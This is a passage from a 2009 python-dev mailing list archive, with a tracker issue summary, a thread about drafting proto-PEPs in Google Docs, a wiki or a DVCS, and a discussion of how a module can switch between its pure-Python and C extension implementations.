__getattr__ and __setattr__ methods for modules                  1445 days
       http://bugs.python.org/issue1156499 georg.brandl              
                                                                               

2.4 crashes when try to exit app and mulitple threads active     1442 days
       http://bugs.python.org/issue1159425 amaury.forgeotdarc        
                                                                               

ConfigParser alternative key-value delimitier                    1431 days
       http://bugs.python.org/issue1165404 ajaksu2                   
       patch                                                                   

PySys_WriteStderr() -> WaitForSingleObject() hangs system        1426 days
       http://bugs.python.org/issue1169108 tjreedy                   
                                                                               

Install fail code 2932 after fail to copy python_icon.exe        1429 days
       http://bugs.python.org/issue1169633 ajaksu2                   
                                                                               

comma separated cookie values                                    1364 days
       http://bugs.python.org/issue1210326 ajaksu2                   
                                                                               

LINKCC->CXX, -ltermcap->-lncurses                                1349 days
       http://bugs.python.org/issue1216923 ajaksu2                   
       patch                                                                   

platform.processor() could be smarter                            1326 days
       http://bugs.python.org/issue1231081 lemburg                   
                                                                               

pdb 'next' does not skip list comprehension                      1297 days
       http://bugs.python.org/issue1248119 benjamin.peterson         
                                                                               

Fail codecs.lookup() on 'mbcs' and 'tactis'                      1292 days
       http://bugs.python.org/issue1251921 haypo                     
                                                                               

precompiled code and nameError.                                  1280 days
       http://bugs.python.org/issue1261714 benjamin.peterson         
                                                                               

random module - Provider DLL failed to initialize correctly      1156 days
       http://bugs.python.org/issue1384175 ssb22                     
                                                                               

Comma not allowed at the end of argument list for **argument      933 days
       http://bugs.python.org/issue1531016 benjamin.peterson         
                                                                               

Seg fault in readline call.                                       770 days
       http://bugs.python.org/issue1630794 benjamin.peterson         
                                                                               

Problems with urllib2 read()                                      706 days
       http://bugs.python.org/issue1682241 ajaksu2                   
                                                                               

unable to serialize Infinity or NaN on ARM using marshal          567 days
       http://bugs.python.org/issue1762561 marketdickinson           
       patch                                                                   



Top Issues Most Discussed (10)
______________________________

 44 Use 30-bit digits instead of 15-bit digits for Python integers.  108 days
open    http://bugs.python.org/issue4258   

 14 Rewrite the IO stack in C                                         76 days
open    http://bugs.python.org/issue4565   

 13 distutils sdist add_defaults does not add data_files             342 days
closed  http://bugs.python.org/issue2279   

  9 socket timeouts even in blocking mode                              1 days
closed  http://bugs.python.org/issue5293   

  9 Fix strftime on windows.                                           3 days
closed  http://bugs.python.org/issue5249   

  9 Unhelpful error message with str.format()                          7 days
closed  http://bugs.python.org/issue5247   

  8 Python 3.1 won't compile under Visual Studio 2005                  1 days
closed  http://bugs.python.org/issue5306   

  8 logging package on IronPython                                      1 days
closed  http://bugs.python.org/issue5287   

  8 clean up Solaris port and allow C99 extension modules            578 days
open    http://bugs.python.org/issue1759169

  7 Enhance tracebacks and stack traces with vars                   1500 days
closed  http://bugs.python.org/issue1098732




From guido at python.org  Fri Feb 20 18:50:30 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 20 Feb 2009 09:50:30 -0800
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <loom.20090220T112059-856@post.gmane.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
Message-ID: <ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>

On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Georg Brandl <g.brandl <at> gmx.net> writes:
>>
>> The Python Wiki should also be considered:
>>
>> * Comparing versions is easy, and versions are only saved on "Save"
>>
>> * It supports reStructuredText, so there is no need for conversion
>>   afterwards.
>
> And it's vendor-neutral :-)

Touche.

I still don't like wikis for this purpose very much -- a person
editing effectively grabs a lock on the whole file. (Wikimedia
addresses this to some extend by allowing sections to be edited, but I
don't see this feature in moinmoin yet, and I don't see us switching.)
Also there is no access control -- anyone who can create a login can
edit.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From wilk at flibuste.net  Fri Feb 20 19:02:56 2009
From: wilk at flibuste.net (William Dode)
Date: Fri, 20 Feb 2009 18:02:56 +0000 (UTC)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
References: <499C6E00.2030602@canterbury.ac.nz>
	<499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
Message-ID: <gnmr8g$6dr$1@ger.gmane.org>

On 20-02-2009, Guido van Rossum wrote:
> On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> Georg Brandl <g.brandl <at> gmx.net> writes:
>>>
>>> The Python Wiki should also be considered:
>>>
>>> * Comparing versions is easy, and versions are only saved on "Save"
>>>
>>> * It supports reStructuredText, so there is no need for conversion
>>>   afterwards.
>>
>> And it's vendor-neutral :-)
>
> Touche.
>
> I still don't like wikis for this purpose very much -- a person
> editing effectively grabs a lock on the whole file. (Wikimedia
> addresses this to some extend by allowing sections to be edited, but I
> don't see this feature in moinmoin yet, and I don't see us switching.)
> Also there is no access control -- anyone who can create a login can
> edit.

Isn't it the good oportunity to try a DVCS ?

-- 
William Dod? - http://flibuste.net
Informaticien Ind?pendant


From ajaksu at gmail.com  Fri Feb 20 19:06:28 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 20 Feb 2009 15:06:28 -0300
Subject: [Python-Dev] Summary of Python tracker Issues
In-Reply-To: <20090220170722.B23AE7838B@psf.upfronthosting.co.za>
References: <20090220170722.B23AE7838B@psf.upfronthosting.co.za>
Message-ID: <2d75d7660902201006o7a62b1a9n10335f168bd390f0@mail.gmail.com>

Python tracker wrote:
>
> ACTIVITY SUMMARY (02/13/09 - 02/20/09)
> Python tracker at http://bugs.python.org/
[...]
>  2341 open (+55) / 14813 closed (+27) / 17154 total (+82)

I was about to cry foul, +27 closed? We closed so many issues last
week, how come?

Then, I realized the headings tell another story:

> Issues Created Or Reopened (84)
[...]
> Issues Now Closed (103)

Woot! We did it! More issues closed than opened, that's sweet :)

To celebrate, I'll have a two-day tracker sprint (probably Sunday and
Monday, a holiday here) to add a couple of search options and a view
for mass-updating issues.

During the sprint, you'll be able to get your feature requests for
and/or bug reports about the tracker at a considerably lower price, so
send them in :)

Daniel

P.S.: It seems the "2341 open (+55) / 14813 closed (+27) / 17154 total
(+82)" line is about "Issues Created" only :)

From guido at python.org  Fri Feb 20 19:16:19 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 20 Feb 2009 10:16:19 -0800
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <gnmr8g$6dr$1@ger.gmane.org>
References: <499C6E00.2030602@canterbury.ac.nz>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org>
Message-ID: <ca471dc20902201016r76045d71o621a82508a0ac1f4@mail.gmail.com>

On Fri, Feb 20, 2009 at 10:02 AM, William Dode <wilk at flibuste.net> wrote:
> On 20-02-2009, Guido van Rossum wrote:
>> On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>>> Georg Brandl <g.brandl <at> gmx.net> writes:
>>>>
>>>> The Python Wiki should also be considered:
>>>>
>>>> * Comparing versions is easy, and versions are only saved on "Save"
>>>>
>>>> * It supports reStructuredText, so there is no need for conversion
>>>>   afterwards.
>>>
>>> And it's vendor-neutral :-)
>>
>> Touche.
>>
>> I still don't like wikis for this purpose very much -- a person
>> editing effectively grabs a lock on the whole file. (Wikimedia
>> addresses this to some extend by allowing sections to be edited, but I
>> don't see this feature in moinmoin yet, and I don't see us switching.)
>> Also there is no access control -- anyone who can create a login can
>> edit.
>
> Isn't it the good oportunity to try a DVCS ?

That was my original suggestion, yes, but Stephen Turnbull suggested
Google Docs instead.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From barry at python.org  Fri Feb 20 19:44:17 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 20 Feb 2009 13:44:17 -0500
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <ca471dc20902201016r76045d71o621a82508a0ac1f4@mail.gmail.com>
References: <499C6E00.2030602@canterbury.ac.nz>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org>
	<ca471dc20902201016r76045d71o621a82508a0ac1f4@mail.gmail.com>
Message-ID: <A49ED348-A54C-43EC-9B5F-8DDF0739C6EF@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 20, 2009, at 1:16 PM, Guido van Rossum wrote:

>> Isn't it the good oportunity to try a DVCS ?
>
> That was my original suggestion, yes, but Stephen Turnbull suggested
> Google Docs instead.

I found Google docs to be both very helpful and very painful.  It was  
helpful because it supports multiple simultaneous editors pretty  
nicely.  It was painful because I was constantly battered by  
inexplicable bugs (e.g. at one point my ability to add comments just  
went away).  Maybe the closest home grown solution would be gobby,  
though the participants would have to manage persistency themselves.

A DVCS would probably work too, given these are almost entirely text  
files.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZ76AXEjvBPtnXfVAQIx5QQAs29FVEYDjbcvG2vLB3RtuuLOwahECP2Q
Yyxvz26mRgOeCX/4rfa4sI/r/dmyhbntGmvfqc/rE3Laej2G5vAqsBJfuhMM6xpx
Men3eypCKELK52nR3CQpUfODVu9ASYzNlezYkS2IEDfWRB95wBmLS9oKPwo55coi
9FSsI2rvyKQ=
=q+II
-----END PGP SIGNATURE-----

From brett at python.org  Fri Feb 20 20:44:05 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 11:44:05 -0800
Subject: [Python-Dev] Choosing a best practice solution for Python/extension
	modules
Message-ID: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>

With io getting rewritten as an extension module, I think it's time to try
to come up with a good best practice scenario for how to be able to control
when  a module uses a pure Python implementation and when it uses extension
module optimizations. This is really only important for testing as if the
extension is missing then the pure Python version is just flat-out used.

As an example, let's just go with pickle and the Pickler class, with _pickle
as the extension module.

If you look at examples in the standard library, their seems to be two
approaches. One is simply to blast the pure Python version:

    class Pickler: pass

    try: from _pickle import Pickler
    except ImportError: pass

This is bad, though, as the only way to get a pure Python version for
testing is to clear out pickle and _pickle from sys.modules, put None in for
sys.modules['_pickle'] and then import pickle again. Yuck.

The other option is to hide the pure Python version::

    class _Pickler: pass

    try: from _pickle import Pickler  # pickle actualy imports *
    except ImportError: Pickler = _Pickler

Better, but it still means that you are mucking around with hidden names and
it hard-codes what part of the module gets replaced (using import * gets
around this, but it also blasts things like __doc__ which you probably don't
want).

Now, from what I can tell, Antoine is suggesting having _pyio and a _io and
then io is simply:

    try: from _io import *
    except ImportError: from _pyio import *

That works for testing as you can then have test classes have an attribute
for the module to use and then create two subclasses which set what module
to use (kind of like how test_warnings currently does it). But this only
really works for complete module replacements, not modules like pickle where
only key portions have been rewritten (which happens more often than the
complete rewrite).

So here is my crazy idea that I came up with late last night (i.e. might not
make a lot of sense).

First, the module with the pure Python code is the main version. At the end
of that module, you make a function call: ``use_extension(__name__,
'_pickle')``. That function then does some "magic"::

def use_extension(py_name, ext_name):
    try:
        ext = importlib.import_module(ext_name)
    except ImportError:
        return
    py = sys.modules[py_name]
    swapped = {}
    for name in (x for x in dir(ext) if not x.startswith('__')):
        swapped[name] = getattr(py, name)
        setattr(py, name, getattr(ext, name))
    py.__extension__ = ext_name, swapped

You can also have an undo_extension('pickle') and it will unroll what was
changed. This makes choosing what version of a module to use very simple in
tests as it is a single function call in one direction or another. And doing
it this way also allows for different VMs to choose different things to
replace. For instance IronPython might decide that most of pickle is fine
and only want to change a single function with an extension; this solution
lets them do that without it being hard-coded in the standard library. At
worst other VMs simply need to refactor the Python code so that there is a
class or function that can be replaced.

So go ahead and tear this apart so that we can hopefully reach a consensus
that makes sense so that at least testing can easily be done.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/f255bcab/attachment-0001.htm>

From tjreedy at udel.edu  Fri Feb 20 21:26:10 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 20 Feb 2009 15:26:10 -0500
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <ca471dc20902200742s47778385ua49df11aadb49aff@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>	<loom.20090220T104710-418@post.gmane.org>
	<gnm5ll$mej$2@ger.gmane.org>	<loom.20090220T115756-269@post.gmane.org>
	<ca471dc20902200742s47778385ua49df11aadb49aff@mail.gmail.com>
Message-ID: <gnn3l3$4j5$1@ger.gmane.org>

Guido van Rossum wrote:
> On Fri, Feb 20, 2009 at 4:01 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> Georg Brandl <g.brandl <at> gmx.net> writes:
>>> I just hope everyone updates both versions when making changes to IO.
>> My proposal is just organizational, it is neutral in terms of whether or not the
>> Python version is correctly maintained.
> 
> I worry that with your proposal people are once again going to import
> the pure Python version where they shouldn't. Maybe _pyio.py would
> work though?

 From a user perspective, continuity of 'import xyz' importing the 
currently best implementation is what is important, even if that 
switches back and forth.

>> We can hope that the IO lib *semantics* won't change too much in the future
>> (although there is an IMO legitimate request for a setblocking() method:
>> http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to
>> willingly use the Python version if the C version is available.
> 
> Hoping that modules won't evolve is futile. The concern for divergence
> is real. Unit-testing both with the same tests might be the solution.

It seems to me that starting new features with a new test and 
prototyping in the Python version should mostly avoid the problem. 
Keeping the Python version allows non-C Pythoneers to contribute to such 
efforts.  (As opposed to fixing a C-only bug.)  If the Python version is 
ahead at the time of a release, the Python version could be reverted to 
being a master version that import the C version for most but not all 
functions.

tjr



From daniel at stutzbachenterprises.com  Fri Feb 20 21:31:26 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Fri, 20 Feb 2009 14:31:26 -0600
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
Message-ID: <eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>

On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon <brett at python.org> wrote:

> Now, from what I can tell, Antoine is suggesting having _pyio and a _io and
> then io is simply:
>
>     try: from _io import *
>     except ImportError: from _pyio import *
>
> That works for testing as you can then have test classes have an attribute
> for the module to use and then create two subclasses which set what module
> to use (kind of like how test_warnings currently does it). But this only
> really works for complete module replacements, not modules like pickle where
> only key portions have been rewritten (which happens more often than the
> complete rewrite).
>

A slight change would make it work for modules where only key functions have
been rewritten.  For example, pickle.py could read:

from _pypickle import *
try: from _pickle import *
except ImportError: pass

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/7aeeb92e/attachment.htm>

From python at rcn.com  Fri Feb 20 21:33:56 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 20 Feb 2009 12:33:56 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extensionmodules
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
Message-ID: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1>

[Brett]
> With io getting rewritten as an extension module, I think it's time to try to 
> come up with a good best practice scenario for how to be able to control 
> when  a module uses a pure Python implementation and when it uses 
> extension module optimizations. This is really only important for testing as 
> if the extension is missing then the pure Python version is just flat-out used.

There is also need in some modules where the two are not exactly equivalent
or where there are multiple C extensions to choose from.  In PyYAML, there 
needs to be an easier way to switch parsers and emitters (i.e. LibYAML).
There are similar issues with xmlrpclib with the choice of parsers, marshallers,
and unmarshallers.  Possibly, the same mechanism can offer the user more
control over which dbm is used when there are several choices.


Raymond





From brett at python.org  Fri Feb 20 21:37:58 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 12:37:58 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
Message-ID: <bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>

On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
daniel at stutzbachenterprises.com> wrote:

> On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon <brett at python.org> wrote:
>
>> Now, from what I can tell, Antoine is suggesting having _pyio and a _io
>> and then io is simply:
>>
>>     try: from _io import *
>>     except ImportError: from _pyio import *
>>
>> That works for testing as you can then have test classes have an attribute
>> for the module to use and then create two subclasses which set what module
>> to use (kind of like how test_warnings currently does it). But this only
>> really works for complete module replacements, not modules like pickle where
>> only key portions have been rewritten (which happens more often than the
>> complete rewrite).
>>
>
> A slight change would make it work for modules where only key functions
> have been rewritten.  For example, pickle.py could read:
>
> from _pypickle import *
> try: from _pickle import *
> except ImportError: pass
>

True, although that still suffers from the problem of overwriting things
like __name__, __file__, etc.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/2e4b90bf/attachment.htm>

From brett at python.org  Fri Feb 20 21:41:26 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 12:41:26 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extensionmodules
In-Reply-To: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1>
Message-ID: <bbaeab100902201241v464bde55h88539ed4ee95dbf2@mail.gmail.com>

On Fri, Feb 20, 2009 at 12:33, Raymond Hettinger <python at rcn.com> wrote:

> [Brett]
>
>> With io getting rewritten as an extension module, I think it's time to try
>> to come up with a good best practice scenario for how to be able to control
>> when  a module uses a pure Python implementation and when it uses extension
>> module optimizations. This is really only important for testing as if the
>> extension is missing then the pure Python version is just flat-out used.
>>
>
> There is also need in some modules where the two are not exactly equivalent
> or where there are multiple C extensions to choose from.  In PyYAML, there
> needs to be an easier way to switch parsers and emitters (i.e. LibYAML).
> There are similar issues with xmlrpclib with the choice of parsers,
> marshallers,
> and unmarshallers.  Possibly, the same mechanism can offer the user more
> control over which dbm is used when there are several choices.


So are you saying you want something that takes multiple arguments like
``use_extension(py_name, *ext_names)``? Or are you wanting to go down the
road of modules needing to define their own functions to use or unwind
changes?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/e26a40af/attachment-0001.htm>

From brett at python.org  Fri Feb 20 21:45:08 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 12:45:08 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
Message-ID: <bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>

On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:

>
>
> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
> daniel at stutzbachenterprises.com> wrote:
>
>> On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon <brett at python.org> wrote:
>>
>>> Now, from what I can tell, Antoine is suggesting having _pyio and a _io
>>> and then io is simply:
>>>
>>>     try: from _io import *
>>>     except ImportError: from _pyio import *
>>>
>>> That works for testing as you can then have test classes have an
>>> attribute for the module to use and then create two subclasses which set
>>> what module to use (kind of like how test_warnings currently does it). But
>>> this only really works for complete module replacements, not modules like
>>> pickle where only key portions have been rewritten (which happens more often
>>> than the complete rewrite).
>>>
>>
>> A slight change would make it work for modules where only key functions
>> have been rewritten.  For example, pickle.py could read:
>>
>> from _pypickle import *
>> try: from _pickle import *
>> except ImportError: pass
>>
>
> True, although that still suffers from the problem of overwriting things
> like __name__, __file__, etc.
>

Actually, I take that back; the IMPORT_STAR opcode doesn't pull in anything
starting with an underscore. So while this alleviates the worry above, it
does mean that anything that gets rewritten needs to have a name that does
not lead with an underscore for this to work. Is that really an acceptable
compromise for a simple solution like this?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/808fe18e/attachment.htm>

From fuzzyman at voidspace.org.uk  Fri Feb 20 21:50:31 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Fri, 20 Feb 2009 20:50:31 +0000
Subject: [Python-Dev] Choosing a best practice solution
 for	Python/extension modules
In-Reply-To: <bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
Message-ID: <499F1797.9030704@voidspace.org.uk>

Brett Cannon wrote:
>
>
> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach 
> <daniel at stutzbachenterprises.com 
> <mailto:daniel at stutzbachenterprises.com>> wrote:
>
>     On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon <brett at python.org
>     <mailto:brett at python.org>> wrote:
>
>         Now, from what I can tell, Antoine is suggesting having _pyio
>         and a _io and then io is simply:
>
>             try: from _io import *
>             except ImportError: from _pyio import *
>
>         That works for testing as you can then have test classes have
>         an attribute for the module to use and then create two
>         subclasses which set what module to use (kind of like how
>         test_warnings currently does it). But this only really works
>         for complete module replacements, not modules like pickle
>         where only key portions have been rewritten (which happens
>         more often than the complete rewrite).
>
>
>     A slight change would make it work for modules where only key
>     functions have been rewritten.  For example, pickle.py could read:
>
>     from _pypickle import *
>     try: from _pickle import *
>     except ImportError: pass
>
>
> True, although that still suffers from the problem of overwriting 
> things like __name__, __file__, etc.

What do you mean overwriting __name__ and __file__? Doing import * in a 
pure Python file doesn't override these.

Michael
>
> -Brett
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk
>   


-- 
http://www.ironpythoninaction.com/
http://www.voidspace.org.uk/blog



From aahz at pythoncraft.com  Fri Feb 20 21:53:29 2009
From: aahz at pythoncraft.com (Aahz)
Date: Fri, 20 Feb 2009 12:53:29 -0800
Subject: [Python-Dev] Choosing a best practice solution
	for	Python/extension modules
In-Reply-To: <bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
Message-ID: <20090220205329.GA9829@panix.com>

On Fri, Feb 20, 2009, Brett Cannon wrote:
> On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:
>> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
>> daniel at stutzbachenterprises.com> wrote:
>>>
>>> A slight change would make it work for modules where only key functions
>>> have been rewritten.  For example, pickle.py could read:
>>>
>>> from _pypickle import *
>>> try: from _pickle import *
>>> except ImportError: pass
>>
>> True, although that still suffers from the problem of overwriting things
>> like __name__, __file__, etc.
> 
> Actually, I take that back; the IMPORT_STAR opcode doesn't pull in anything
> starting with an underscore. So while this alleviates the worry above, it
> does mean that anything that gets rewritten needs to have a name that does
> not lead with an underscore for this to work. Is that really an acceptable
> compromise for a simple solution like this?

Doesn't __all__ control this?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From python at rcn.com  Fri Feb 20 22:09:27 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 20 Feb 2009 13:09:27 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extensionmodules
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1>
	<bbaeab100902201241v464bde55h88539ed4ee95dbf2@mail.gmail.com>
Message-ID: <81F49683876344AB849F71866C8D4350@RaymondLaptop1>

I don't have a particular solution mind.  Just wanted to reframe the question
to be a more general one about the controlling the selection between near
equivalent modules and extensions.  Some variant of the problem seems to
come-up in many different contexts.  No one best practice has emerged as
dominant. 
  ----- Original Message ----- 
  From: Brett Cannon 
  To: Raymond Hettinger 
  Cc: Python Dev 
  Sent: Friday, February 20, 2009 12:41 PM
  Subject: Re: [Python-Dev] Choosing a best practice solution for Python/extensionmodules





  On Fri, Feb 20, 2009 at 12:33, Raymond Hettinger <python at rcn.com> wrote:

    [Brett]


      With io getting rewritten as an extension module, I think it's time to try to come up with a good best practice scenario for how to be able to control when  a module uses a pure Python implementation and when it uses extension module optimizations. This is really only important for testing as if the extension is missing then the pure Python version is just flat-out used.



    There is also need in some modules where the two are not exactly equivalent
    or where there are multiple C extensions to choose from.  In PyYAML, there needs to be an easier way to switch parsers and emitters (i.e. LibYAML).
    There are similar issues with xmlrpclib with the choice of parsers, marshallers,
    and unmarshallers.  Possibly, the same mechanism can offer the user more
    control over which dbm is used when there are several choices.

  So are you saying you want something that takes multiple arguments like ``use_extension(py_name, *ext_names)``? Or are you wanting to go down the road of modules needing to define their own functions to use or unwind changes?

  -Brett


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/db89814e/attachment.htm>

From greg.ewing at canterbury.ac.nz  Fri Feb 20 22:15:17 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 21 Feb 2009 10:15:17 +1300
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <499E4107.3040500@pearwood.info>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
	<499E4107.3040500@pearwood.info>
Message-ID: <499F1D65.6070904@canterbury.ac.nz>

Steven D'Aprano wrote:

> Currently, if I want to verify that (say) cFoo and Foo do the same 
> thing, or compare their speed, it's easy because I can import the 
> modules separately.

Also, won't foo.py be wasting time in most cases by
defining python versions that get overwritten?

Instead of defining things directly in foo.py, maybe it
should do

   try:
     from cFoo import *
   except ImportError:
     from pyFoo import *

Then the fast path will be taken if cFoo is available,
and you can directly import cFoo or pyFoo if you want.

-- 
Greg

From barry at python.org  Fri Feb 20 22:21:06 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 20 Feb 2009 16:21:06 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
Message-ID: <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 20, 2009, at 10:09 AM, Barry Warsaw wrote:

> I've just upgraded the Bazaar mirrors on code.python.org to use bzr  
> 1.12.  We now have the opportunity to upgrade the repository format  
> for better performance.  Because of the bzr-svn requirement, we need  
> a "rich root" format.  Upgrading to 1.9-rich-root could buy us some  
> significant performance improvements, but it will require all  
